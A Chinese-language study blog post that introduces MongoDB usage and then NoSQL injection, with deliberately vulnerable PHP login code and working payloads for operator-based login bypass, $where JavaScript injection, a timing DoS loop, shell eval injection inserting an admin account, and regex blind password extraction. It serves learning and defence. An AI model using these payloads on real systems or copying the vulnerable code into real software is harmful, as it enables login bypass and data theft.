0x00 前言
学Java有点学累了,先学点别的,来放松一下,正好之前一直没学过NoSQL注入,所以今天就先来学一下吧,又是向“whoami”师傅(WHOAMI’s Blog)的一天捏,本篇包含以下元素:
- NoSQL、MogonDB的简单介绍
- MongoDB的简单使用
- NoSQL注入的简单介绍
- NoSQL注入的简单实践
0x01 NoSQL
简单介绍
NoSQL的有人解为“Not Only SQL”,即“不仅仅是SQL”,用于区别于我们之前经常使用的MySQL、SQLServer、Oracle、MariaDB等关系型数据库,即非关系型、分布式数据库。由于NoSQL具有较于传统数据库的大数据量、高拓展性、灵活等优势,使用量也日益增长。
0x02 MongoDB
MongoDB
MongoDB是一个用C++实现的文档型数据库,常被用在Web中,除文档型外,还有键值(Redis)、列存储、图形数据库,这里不做讨论。下面列出MongoDB与关系型数据库的术语对比:
SQL术语 | MongoDB术语 | 解释 |
---|---|---|
database | database | 数据库 |
table | collection | 表(SQL)/集合(MongoDB) |
row | document | 行(SQL)/文档(MongoDB) |
column | field | 段SQL)/域(MongoDB) |
index | index | 索引 |
table joins | 表连接,MongoDB不支持 | |
primary key | primary key | 主键,MongoDB自动将_id字段设置为主键 |
下面就先来逐一看看MongoDB中数据库、集合、文档等
数据库
类似于mysql的show databases,MongoDB中也有show dbs
(apt install mongodb; mongo)
> show dbs
admin 0.000GB
config 0.000GB
local 0.000GB
另外,还有db
可以显示当前数据库,类似于select database(),与mysql不同的是,它初始就在一个test库里
> db
test
如果我们要切换数据库,同样的是使用use
> use admin
switched to db admin
> db
admin
不同的是,当指定的数据库不存在时,就会自动创建,所以use同时也是创建数据库的关键词
> use chenlvtang
switched to db chenlvtang
> db
chenlvtang
> show dbs
admin 0.000GB
config 0.000GB
local 0.000GB
这里之所以看不到我们新建的数据库,是因为我们还没有往里面加入集合,我们之后再来尝试,下面我们先来看看数据库的删除,删除数据库使用的是db.dropDatabase()
, 删除的是当前数据库,所以在删除前,我们要记得先切换数据库
> use chenlvtang
switched to db chenlvtang
> db.dropDatabase()
{ "ok" : 1 }
文档
文档对应于mysql中的一行数据,MongoDB的文档形式如下,采用的是改造于Json的Bson(懒狗Json也不熟,看不出什么大区别,大概就是字段没有引号吧🤣, 但是好像加了也没啥影响):
{
name: "chenlvtang",
description: "Noob",
groups: ["user", "admin"]
}
集合
集合类似于表,但是不同的是,他没有什么特定的结构,也就是说一个集合之中可以存储任意结构的文档:
{name: "chenlvtang",description: "Noob", groups: ["user", "admin"]}
{name: "chenlvtang",description: "Noob"}
{foo: "chenlvtang"}
要创建一个集合,我们可以使用db.createCollection(name, [options]),options为可选参数,同样的,这也是在当前数据库,所以要记得切换数据库:
> db
chenlvtang
> db.createCollection("test")
{ "ok" : 1 }
要查看数据库中所有的集合,我们可以使用show tables 或 show collections:
> show tables
test
> show collections
test
向一个集合中插入文档,我们可以使用db.COLLECTION_NAME.insert()来插入一个(其实还有save,之后讲):
> db.test.insert({name: 'chenlvtang', age: 20})
WriteResult({ "nInserted" : 1 })
#要插入多条要insert([{name: 'chenlvtang', age: 20},{name: 'cyk', age: 19} ])
类似于数据库的use,当所指定的集合名不存在时,就会自动创建 (好像在mongodb里都是这样,之后不再复述):
> db.test2.insert({foo:'bar'})
WriteResult({ "nInserted" : 1 })
> show collections
test
test2
删除一个集合,使用db.collection_name.drop():
> db.test2.drop()
true
> show tables
test
增删改查
增使用insert在之前已经讲了,就不再赘述。
1.要查询一个集合中的文档,我们可以使用db.collection_name.find(query,[projection]),第一个参数为查询语句,第二个参数为使用投影操作符返回键(不知道是个啥操作符)。这里查询条件我们先不设,可以直接先用find()返回所有文档,然后使用pretty()美化一下输出格式:
> db.test.find()
{ "_id" : ObjectId("61556613520eefe4e0ad3c73"), "name" : "chenlvtang", "age" : 20 }
> db.test.find().pretty()
{
"_id" : ObjectId("61556613520eefe4e0ad3c73"),
"name" : "chenlvtang",
"age" : 20
}
这里的“_id”为主键,简单的查询条件: {‘name’: ‘chenlvtang’},即为 name = ‘chenlvtang’
2.要更新文档,我们可以选用update或者save。
其中update的格式为:
db.collection.update(
<query>,
<update>,
{
upsert: <boolean>,
multi: <boolean>,
writeConcern: <document>#writeConcern :可选,抛出异常的级别。
}
)
其中multi为可选参数,默认为false,设置为true之后,会更新所有符合query的文档。实例如下:
> db.test.update( {'name':'chenlvtang'},{$set:{'age':'unkown'}} ) //注意$set操作符
WriteResult({ "nMatched" : 1, "nUpserted" : 0, "nModified" : 1 })
> db.test.find()
{ "_id" : ObjectId("61556613520eefe4e0ad3c73"), "name" : "chenlvtang", "age" : "unkown" }
save的格式如下:
db.collection.save(
<document>,
{
writeConcern: <document>#writeConcern :可选,抛出异常的级别。
}
)
当文档中指定了主键”_id”时,则为更新:
> db.test.save(
... { "_id" : ObjectId("61556613520eefe4e0ad3c73"), "name" : "chenlvtang", age: 16}
... )
WriteResult({ "nMatched" : 1, "nUpserted" : 0, "nModified" : 1 })//充分说明了带不带引号没啥关系,至少到目前为止
> db.test.find()
{ "_id" : ObjectId("61556613520eefe4e0ad3c73"), "name" : "chenlvtang", "age" : 16 }
如果不指定主键,则为插入:
> db.test.save( { "name" : "chenlvtang", age: 160})
WriteResult({ "nInserted" : 1 })
> db.test.find()
{ "_id" : ObjectId("61556613520eefe4e0ad3c73"), "name" : "chenlvtang", "age" : 16 }
{ "_id" : ObjectId("61585c0926f8bbfae710ac07"), "name" : "chenlvtang", "age" : 160 }
3.删除文档,使用remove函数,其格式如下:
db.collection.remove(
<query>,
{
justOne: <boolean>, #设置为true或者1的时候,就只删除一条符合条件的文档,默认false
writeConcern: <document>
}
)
实例如下:
> db.test.remove({name: 'chenlvtang'})
WriteResult({ "nRemoved" : 2 })
> db.test.find({name: 'chenlvtang'}) //已经全删了
> db.test.find()
{ "_id" : ObjectId("6158597226f8bbfae710ac04"), "foo" : "bar" }
查询条件
说明 | 格式 | 实例 | 与关系型比较 |
---|---|---|---|
等于 | {<key>:<value>} |
db.col.find({"by":"菜鸟教程"}).pretty() |
where by = '菜鸟教程' |
小于 | {<key>:{$lt:<value>}} |
db.col.find({"likes":{$lt:50}}).pretty() |
where likes < 50 |
小于或等于 | {<key>:{$lte:<value>}} |
db.col.find({"likes":{$lte:50}}).pretty() |
where likes <= 50 |
大于 | {<key>:{$gt:<value>}} |
db.col.find({"likes":{$gt:50}}).pretty() |
where likes > 50 |
大于或等于 | {<key>:{$gte:<value>}} |
db.col.find({"likes":{$gte:50}}).pretty() |
where likes >= 50 |
不等于 | {<key>:{$ne:<value>}} |
db.col.find({"likes":{$ne:50}}).pretty() |
where likes != 50 |
有点小麻烦,但是mongodb中的AND还是挺方便的:
> db.test.insert([{name:'chenlvtang', age: 18}, {name: 'chenlvtang', age: 19}])
> db.test.find({name: 'chenlvtang', age: 18})
{ "_id" : ObjectId("6158630109288d61f9940197"), "name" : "chenlvtang", "age" : 18 }
OR就有点麻烦了,其格式如下:
>db.col.find(
{
$or: [
{key1: value1}, {key2:value2}
]
}
).pretty()
实例如下:
> db.test.find({$or:[{age: 18}, {age: 19}]})
{ "_id" : ObjectId("6158630109288d61f9940197"), "name" : "chenlvtang", "age" : 18 }
{ "_id" : ObjectId("6158630109288d61f9940198"), "name" : "chenlvtang", "age" : 19 }
下面来一个将OR和AND一起使用的例子:
> db.test.insert({name: 'cyk', age: 18})
WriteResult({ "nInserted" : 1 })
> db.test.find({name: 'chenlvtang', $or:[{age: 18}, {age: 19}]})
{ "_id" : ObjectId("6158630109288d61f9940197"), "name" : "chenlvtang", "age" : 18 }
{ "_id" : ObjectId("6158630109288d61f9940198"), "name" : "chenlvtang", "age" : 19 }
相当于 where name = ‘chenlvtang’ and (age=18 or age=19)
0x03 NoSQL注入
分类
按语言分类:PHP数组注入、JavaScript注入、MongoDB shell拼接注入等
按攻击机制分类:重言式注入,联合查询注入,JavaScript 注入、盲注等
环境搭建
PHP中需要下载以下MongoDB的驱动,然后还要配置一番,这里记录一下:
apt-get install php-dev #ubuntu里的php没有phpize, 一个重新编译PHP的东西
apt-get install php-pear #ubuntu里的php没有pecl, 一个安装拓展的东西
pecl install mongodb
#输出
#Installing shared extensions: /tmp/pear/temp/pear-build-rootieFYE2/install-mongodb-1.10.0 /usr/lib/php/20190902/
#Installing '/usr/lib/php/20190902/mongodb.so'
#configuration option "php_ini" is not set to php.ini location
#You should add "extension=mongodb.so" to php.ini
所以我们下一步就是要配置php.ini:
#php --ini #找到ini的位置 ❌ 大坑,这里输出的cli模式下的php.ini位置,我们需要配置的是apache2目录下的。
#写一个网页phpinfo(),找到php位置 ✅ ,这里是 /etc/php/7.4/apache2/php.ini
#vim xxx/xxx/php.ini,添加如下
#这里如果你不想设置extension_dir,可以先php -i | grep extension_dir找到php拓展位置,然后把mongodb.so移过去
extension_dir=/usr/lib/php/20190902/ #路径看上面安装的输出
extension=mongodb.so
#最后记得重启apache
service apache2 restart
写一个phpinfo,检查一下:
PHP7和PHP5对MongoDB的操作不同,这里我们以PHP7为例进行测试(感觉7更麻烦,跟Java的各种流似的,这操作):
<?php
$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");
// 插入数据
$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['name'=>'chenlvtang', 'age' => 18]);
$bulk->insert(['name'=>'chenlvtang', 'age'=> 19]);
//执行,插入到test数据库的whoami集合
$manager->executeBulkWrite('test.whoami', $bulk);
?>
检查一下:
> db
test
> show dbs
admin 0.000GB
chenlvtang 0.000GB
config 0.000GB
local 0.000GB
test 0.000GB
> use test
switched to db test
> show collections
test
whoami
> db.whoami.find()
{ "_id" : ObjectId("61594f1e5b45415c645673d2"), "name" : "chenlvtang", "age" : 18 }
{ "_id" : ObjectId("61594f1e5b45415c645673d3"), "name" : "chenlvtang", "age" : 19 }
重言式注入
顾名思义,就是让查询条件永为真。这里以PHP来写一个简单登录(懒狗懒得写了,直接用的whoami大佬的😋):
<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];
$query = new MongoDB\Driver\Query([
'username' => $username,
'password' => $password
]);#php的短数组风格
$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count > 0) {
foreach ($result as $user) {
$user = ((array)$user);
echo '====Login Success====<br>';
echo 'username:' . $user['username'] . '<br>';
echo 'password:' . $user['password'] . '<br>';
}
}
else{
echo 'Login Failed';
}
?>
然后我们给数据库增加几条数据:
db.users.insert([{'username': 'chenlvtang','password': '2001'},{'username': 'chen','password':'123'},{'username': 'cyk', 'password': '20'}])
//这里注意密码一定要为字符串,如果直接为2001,后面php的参数就要转换为数字了,因为php以字符串来接收URL参数
这里查询条件直接来自username和password参数且没有过滤,正常输入是没问题的,可以看到PHP是以数组构造的条件,此时的查询条件为: {‘username’: ‘chenlvtang’, ‘password’: ‘2001’}:
但是,上文中我们有提到过{"likes":{$ne:50}}
这样的查询条件,当我们传入username[$ne]=1时,由于PHP数组的嵌套,查询条件就变成了{‘username’: {$ne:1}} 即username != 1 ,如果再设置password[$ne]=1,岂不是就变成了username != ‘1’ and password !=’1’,这样就变成了一个永真式了,实现了查询所有结果:
联合注入
类似于SQL注入,代码对查询语句进行了字符串拼接,然后直接查询:
$query = "var data = db.test.findOne({username:'$username',password:'$password'});return data;";
可以这样构造:
?username=test'});return {username:db.version(),password:1};})//
MongoDB支持JavaScript,所以有了上面的操作,可以看到payload里利用了注释符,思路和SQL注入一样
不过现在的PHP等语言的驱动,好像不能直接拼接,必须要像之前的那样数组的方式来查询了,所以这个可能用处不大,但是既然支持JavaScript,那么也就表明,我们可以借助JavaScript来进行一些攻击
JavaScript注入
$where 关键词,可以将 JavaScript 表达式的字符串或 JavaScript 函数作为查询语句的一部分
一个实例如下:
> db.users.find({ $where: "function(){return(this.username == 'chenlvtang')}"})
{ "_id" : ObjectId("6159969fedc822c79cc4060a"), "username" : "chenlvtang", "password" : "2001" }
在PHP中的使用如下:
<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];
$function = "
function() {
var username = '".$username."';
var password = '".$password."';
if(username == 'admin' && password == '123456'){
return true;
}else{
return false;
}
}";
$query = new MongoDB\Driver\Query(array(
'$where' => $function
));
$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count>0) {
foreach ($result as $user) {
$user=(array)$user;
echo '====Login Success====<br>';
echo 'username: '.$user['username']."<br>";
echo 'password: '.$user['password']."<br>";
}
}
else{
echo 'Login Failed';
}
?>
如果我们传入payload: ?username=test&password=a';return true;var c='
,js就会变为:
function() {
var username = 'test';
var password = 'a; return true; var c='';
if(username == 'admin' && password == '123456'){
return true;
}else{
return false;
}
}
这样就会提前返回true,有点像原型链污染到RCE的操作。在MongoDB2.4前,我们还可以通过db来获取各种东西:
username=1&password=1';(function(){return(tojson(db.getCollectionNames()))})();var a='1
username=1&password=1';(function(){return(tojson(db.version()))})();var a='1
但是2.4之后,就获取不到db了。另外还可以用js来Dos:username=1&password=1';(function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<5000); return Math.max();})();var a='1
MongoDB Shell注入
MongoDB driver一般都提供直接在MongoDB Shell中执行查询的方法,PHP中就有如下的例子:
<?php
$m = new MongoDB\Driver\Manager;
// Don't do this!!!
$username = $_GET['field'];
// $username is set to "'); db.users.drop(); print('"
$cmd = new \MongoDB\Driver\Command( [
'eval' => "print('Hello, $username!');"
] );
$r = $m->executeCommand( 'dramio', $cmd );
?>
但是他警告了我们不要使用….但是如果有人使用了并且没有过滤,我们就有机会进行注入:
<?php
$manager = new MongoDB\Driver\Manager('mongodb://mongo:27017');
$username = $_GET['username'];
$cmd = new MongoDB\Driver\Command([
'eval'=> "db.users.distinct('username',{'username':'$username'})"
]);
$cursor = $manager->executeCommand('test', $cmd)->toArray();
var_dump($cursor);
if(count($cursor)>0){
echo 'Succeed!';
}
else{
echo 'Failed!';
}
?>
disctinct返回第一个参数的不同值,第二个参数为查询条件, 如:
> db.users.distinct('username')
[ "chenlvtang", "chen", "cyk" ]
这里我们同样可以构造payload: 1'});db.users.insert({"username":"admin","password":123456"});db.users.find({'username':'1
进行插入操作,因为是直接操作的mongodb shell,所以在shell里能做的增删改查,我们都可以做。
布尔盲注
<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];
$query = new MongoDB\Driver\Query(array(
'username' => $username,
'password' => $password
));
$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count > 0) {
foreach ($result as $user) {
$user = ((array)$user);
echo '====Login Success====<br>';
}
}
else{
echo 'Login Failed';
}
?>
这里我们虽然可以用重言式注入来实现绕过登录验证,但是这里并不会把密码输出,如果我们想获得密码,我们可以使用布尔盲注。首先是判断长度($regex表示正则):
username=chenlvtang&password[$regex]=.{3} //能够匹配除\n外其他任意字符 3次 , 所以为true 登录成功
username=chenlvtang&password[$regex]=.{4} //能够匹配4次,登录成功
username=chenlvtang&password[$regex]=.{5} //匹配不到5次,登录失败
以上,我们便判断出了密码长度为4,然后我们可以接着布尔注入出密码了:
username=chenlvtang&password[$regex]=2.{3}
username=chenlvtang&password[$regex]=20.{2}
//...
或
username=chenlvtang&password[$regex]=^2
username=chenlvtang&password[$regex]=^20
//..
其他语言(如NodeJS、Java)的SQL注入,原理也差不多,这里就不讲了,要复现可以看参考链接
0x04 参考
Nosql 注入从零到一 | WHOAMI’s Blog (whoamianony.top)
冷门知识 — NoSQL注入知多少 - 安全客,安全资讯平台 (anquanke.com)
JAVA
shirishp/NoSQLInjectionDemo: NoSQL Injection Demo Application (github.com)
NodeJS
ricardojoserf/NoSQL-injection-example: MongoDB injection example (github.com)
s